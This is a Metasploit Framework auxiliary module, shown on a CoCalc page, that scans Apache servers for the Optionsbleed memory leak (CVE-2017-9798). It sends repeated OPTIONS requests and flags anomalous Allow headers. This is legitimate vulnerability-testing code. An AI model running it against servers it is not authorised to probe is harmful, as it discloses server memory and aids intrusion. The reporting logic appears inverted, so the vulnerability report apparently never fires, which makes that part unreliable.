Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/apache_optionsbleed.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Apache Optionsbleed Scanner',
16
'Description' => %q{
17
This module scans for the Apache optionsbleed vulnerability where the Allow
18
response header returned from an OPTIONS request may bleed memory if the
19
server has a .htaccess file with an invalid Limit method defined.
20
},
21
'Author' => [
22
'Hanno Böck', # Vulnerability discovery
23
'h00die', # Metasploit module
24
],
25
'References' => [
26
[ 'CVE', '2017-9798' ],
27
[ 'EDB', '42745' ],
28
[ 'URL', 'https://github.com/hannob/optionsbleed' ],
29
[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]
30
],
31
'DisclosureDate' => '2017-09-18',
32
'License' => MSF_LICENSE,
33
'Notes' => {
34
'AKA' => ['Optionsbleed'],
35
'Stability' => UNKNOWN_STABILITY,
36
'Reliability' => UNKNOWN_RELIABILITY,
37
'SideEffects' => UNKNOWN_SIDE_EFFECTS
38
}
39
)
40
)
41
42
register_options([
43
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
44
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
45
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
46
])
47
end
48
49
def get_allow_header(ip)
50
res = send_request_raw({
51
'version' => '1.1',
52
'method' => 'OPTIONS',
53
'uri' => datastore['TARGETURI']
54
}, 10)
55
56
fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res
57
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']
58
res.headers['Allow']
59
end
60
61
def run_host(ip)
62
# Apache bug 61207 regex
63
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
64
# Launchpad bug 1717682 regex
65
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
66
uniques = []
67
already_reported = false
68
69
for counter in 1..datastore['REPEAT']
70
allows = get_allow_header(ip)
71
next if uniques.include?(allows) # no need to re-process non-new items
72
73
uniques << allows
74
if allows =~ bug_61207
75
if allows.split(',').length > allows.split(',').uniq.length # check for repeat items
76
print_status('Some methods were sent multiple times in the list. ' +
77
'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']
78
else
79
vprint_status("Request #{counter}: [Standard Response] -> #{allows}")
80
end
81
elsif allows =~ bug_1717682 && datastore['BUGS']
82
print_status('The list of methods was space-separated instead of comma-separated. ' +
83
'This is a bug, but harmless. It may be Launchpad bug #1717682.')
84
else
85
print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")
86
end
87
next unless already_reported
88
89
report_vuln(
90
:host => ip,
91
:port => rport,
92
:name => self.name,
93
:refs => self.references
94
)
95
already_reported = true
96
end
97
end
98
end
99
100